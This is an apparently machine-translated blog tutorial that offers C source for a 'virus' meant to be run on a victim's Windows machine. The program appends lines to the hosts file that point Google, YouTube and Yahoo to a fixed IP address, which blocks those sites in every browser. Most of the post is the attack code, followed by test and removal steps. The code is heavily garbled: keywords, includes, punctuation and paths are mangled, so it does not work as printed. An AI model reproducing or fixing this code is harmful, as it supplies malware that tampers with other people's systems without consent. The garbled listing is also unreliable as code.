Virus Program to Block Websites

11/08/2011 23:06

Most of us are familiar with the virus that blocked sites Orkut and YouTube. If you're curious about creating a virus on your own, that's how you can do. As usual, I will use my favorite programming language "C" to create the site blocking virus. I will give a brief introduction to this virus before jumping to technical jargon.

This virus has been created exclusively for the "C". So, anyone with a basic knowledge of C will be able to understand the functioning of the virus. This virus needs to be clicked only once a victim. When clicked, it will prevent the list of sites that are defined in the source code. The victim will never be able to navigate the pages, unless you re-install the operating system. This rejection is not limited to IE or Firefox. So, once blocked, the site does not appear in any web browser.

You can also lock a site manually lock manually.The process as described in How to block a website?

This is the source of the virus.

# Include

# Include

# Include site_lists char [6], [30] = {

"Google.com"

"Www.google.com"

"Youtube.com"

"Www.youtube.com"

"Yahoo.com"

"Www.yahoo.com"

};

char ip [12] = "125.212.111.1";

FILE * target;

find_root int (void);

block_site (void);

find_root int ()

int done;

struct ffblk ffblk; block structure / / File

Done = FindFirst ("C: \ \ WINDOWS \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC);

/ * To determine the root of drive * /

if (done == 0)

target = fopen ("C: \ \ Windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +");

/ * Open file * /

Return 1;

First is to find = ("D: \ \ Windows \ \ system32 \ \ drivers \ \ etc \ \ hosts" and ffblk, FA_DIREC);

/ * Set the root to run * /

if (done == 0)

target = fopen ("D: \ \ WINDOWS \ \ system32 \ \ drivers \ \ etc \ \ hosts" file, "r +");

/ * Open the file * /

Return 1;

Done FindFirst = ("E: \ \ WINDOWS \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC);

/ * To determine the root of drive * /

if (done == 0)

target = fopen ("E: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +");

/ * Open file * /

return 1;

done = FindFirst ("F: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts" and ffblk, FA_DIREC);

/ * Set the root to run * /

if (done == 0)

target = fopen ("F: \ \ WINDOWS \ \ system32 \ \ drivers \ \ etc \ \ hosts" file, "r +");

/ * Open the file * /

Return 1;

else return 0;

block_site zero ()

int i;

fseek (target, 0, SEEK_END); / * Go to end of file * /

fprintf (target, "\ n");

for (i = 0; i <6; i + +)

fprintf (target, "% s \ t% s \ n", ip, site_lists [i]);

fclose (target);

void main ()

int success = 0;

find_root success = ();

if (success)

block_site ();

How to assemble?

Compilation Guide for step by step, see my post How to compile C programs

Test

To test first, run the compiled module. It will block sites that are listed in the source code.

2. Once the block_Site.exe file, launch the browser. Then type the URL of blocked sites, and you will see the browser displays an error message "This page is not displayed."

3. To remove a virus from the rest of the race.

% Windir% \ system32 \ drivers \ etc

4. There, open the "hosts" file with notepad.At bottom of the file open, you'll see something like

125.212.111.1 google.com

5. Remove all entries that contain the names of blocked sites.